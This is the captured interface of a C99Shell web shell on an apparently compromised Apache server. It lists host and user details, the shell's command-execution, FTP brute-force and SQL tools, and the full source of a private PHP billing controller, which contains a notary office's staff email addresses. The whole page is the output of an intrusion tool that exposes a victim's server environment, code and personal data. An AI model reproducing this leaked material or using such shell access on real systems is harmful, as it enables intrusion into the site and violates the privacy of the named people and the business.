!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/controller/   drwxr-xr-x
Free 9.14 GB of 93.48 GB (9.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CobrancaCtrl.php (2.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if (!class_exists("GenericCtrl")) {
    include 
"../../../../ipanel/app/controller/GenericCtrl.php";
}

class 
CobrancaCtrl extends BaseController {

    var 
$model "Cobranca";

    public function 
__construct() {
        
parent::setConnection($this->model);
    }

    public function 
retornaCobranca($id) {
        return 
$this->getObjectByField('id'$id);
    }

    public function 
saveLinhaDigitavel($id$linha) {
        
$cobranca $this->getObjectByField('id'$id);
        
$cobranca[0]['linhaDigitavel'] = $linha;
        
$cobranca[0]->save();
    }

    public function 
setarPago($ins_id) {
        
$cobranca $this->getObjectByField('insId'$ins_id);
        
$cobranca[0]['status'] = 'P';
        
$cobranca[0]->save();
    }


    public function 
gerarCobranca($id) {
        
$util = new Util();
        
$pedidoCtrl = new GenericCtrl('Pedido');
        
$pedido $pedidoCtrl->getObject($id);

        
$cobrancaCtrl = new GenericCtrl('Cobranca');
        
$ultimaCobranca $cobrancaCtrl->getAllObjects(true10"id DESC");
        
$ultimaCobranca $ultimaCobranca[0];
        if (
is_object($ultimaCobranca)) {
            
$ano substr($ultimaCobranca['codigo'], 59);
            
$codigo substr($ultimaCobranca['codigo'], 05);
            if (
$ano == date("Y")) {
                
$codigo $util->addZeros(($codigo 1), 5) . date("Y");
            } else {
                
$codigo "00001" date("Y");
            }
        } else {
            
$codigo "00001" date("Y");
        }

//$codigo = $util->addZeros(($ultimaCobranca['codigo'] + 1), 4);

        
$dataVencimento date("d/m/Y"time() + (10 86400));
        
$dataVencimentobd date("Y-m-d"time() + (10 86400));

        
$cobrancaId $cobrancaCtrl->getLastId() + 1;

        
$cobranca = new Cobranca();
        
$cobranca->id $cobrancaId;
//$cobranca->codigo = $codigo;
        
$cobranca->codigo $util->addZeros($cobrancaId4);
        
$cobranca->dataGeracao date("Y-m-d");
        
$cobranca->horaGeracao date("H:i:s");
        
$cobranca->valor $pedido['vlrBoleto'];
        
$cobranca->dataVencimento $dataVencimentobd;
        
$cobranca->status "A";
        
$cobranca->reenviado "N";
        
$cobranca->pedido $pedido;
        
$cobranca->save();

        
$email = new Email();
        
$email->addEmail($cobranca['pedido']['email']);
        
$email->addEmail("arion@cartorioarioncavalheiro.com.br");
        
$email->addEmail("emeline@cartorioarioncavalheiro.com.br");
        
$email->setAssunto("Emissão de Cobrança " $cobranca['codigo']);
        
$email->setNomeRemetente("Cartório Arion Cavalheiro");
        
$msg = new EmailMensagem();
        
$email->setMensagem($msg->getMsgCobranca($cobranca));
        
$email->envia();

        return 
$cobrancaId;
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0042 ]--